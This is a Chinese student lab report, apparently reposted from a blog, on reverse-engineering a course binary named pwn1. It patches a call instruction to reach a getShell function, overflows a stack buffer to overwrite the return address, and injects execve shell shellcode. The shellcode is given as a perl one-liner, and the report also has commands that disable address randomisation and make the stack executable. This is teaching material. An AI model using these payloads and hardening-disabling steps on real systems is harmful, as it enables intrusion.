• 20155304田宜楠《网络对抗技术》Exp1 PC平台逆向破解(5)M


    Exp1 PC平台逆向破解(5)M


    实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • NOP:机器码90 空指令,继续执行NOP后面的一条指令
    • JNE:机器码75 条件转移指令,不等则跳转
    • JE:机器码74 条件转移指令,相等则跳转
    • JMP:无条件转移指令,short(机器码:EB)段内直接近转移Jmp;near(机器码:E9)段内间接转移Jmp;word(机器码:FF)段间直接(远)转移Jmp;far(机器码:EA)
    • CMP:机器码39 比较指令,相当于减法指令,对操作数之间运算比较,不保存结果

    实践内容

    实践一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    使用objdump -d pwn1将pwn1反汇编,得到以下代码(部分):

    image

    call 8048491 修改为call 804847d ,需要将d7修改为c3

    vi打开编辑文件;

    :%! xxd将文件转换为十六进制编辑模式;

    /找到修改位置;

    i进入编辑模式;

    :%! xxd -r转回二进制模式;

    :wq保存退出

    修改后进行反汇编:

    image

    实践二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    攻击目标是触发函数getshell

    分别输入1111111122222222333333334444444455555555和1111111122222222333333334444444412345678来进行测试

    image

    image

    可知占用返回地址的压栈数据为4321

    接下来要确认下字节序,简单说是输入11111111222222223333333344444444x08x04x84x7d,还是输入11111111222222223333333344444444x7dx84x04x08。

    对比之前 eip 0x34333231 0x34333231 ,正确应用输入 11111111222222223333333344444444x7dx84x04x08。

    构造输入字符串

    由为我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

    可以使用16进制查看指令xxd查看input文件的内容是否如预期。

    然后将input的输入,通过管道符“|”,作为pwn1的输入。

    image

    实践三:注入一个自己制作的shellcode并运行这段shellcode。

    • shellcode就是一段机器指令(code)

    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

    apt-get install execstack 安装execstack

    准备工作:

    修改些设置。

    root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
    root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
    

    构造要注入的payload。
    我们将shellcode的代码写入文件中,并运行该程序

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
     
    

    打开另一个终端,输入ps -ef | grep pwn1查询其进程号

    攻击成功截图:
    image

  • 相关阅读:
    C#使用GZipStream压缩与解压字符串
    C# 参考之方法参数关键字:params、ref及out
    C#中cookie讲解
    WPF中窗口控件的跨线程调用
    vs2010 快捷键大全
    Python线程池
    Python 爬虫修正
    Python 爬虫插件
    Python发现爬虫插件有BUG。
    Python 存在BUG的线程池
  • 原文地址:https://www.cnblogs.com/tyn5304/p/8603252.html
Copyright © 2020-2023  润新知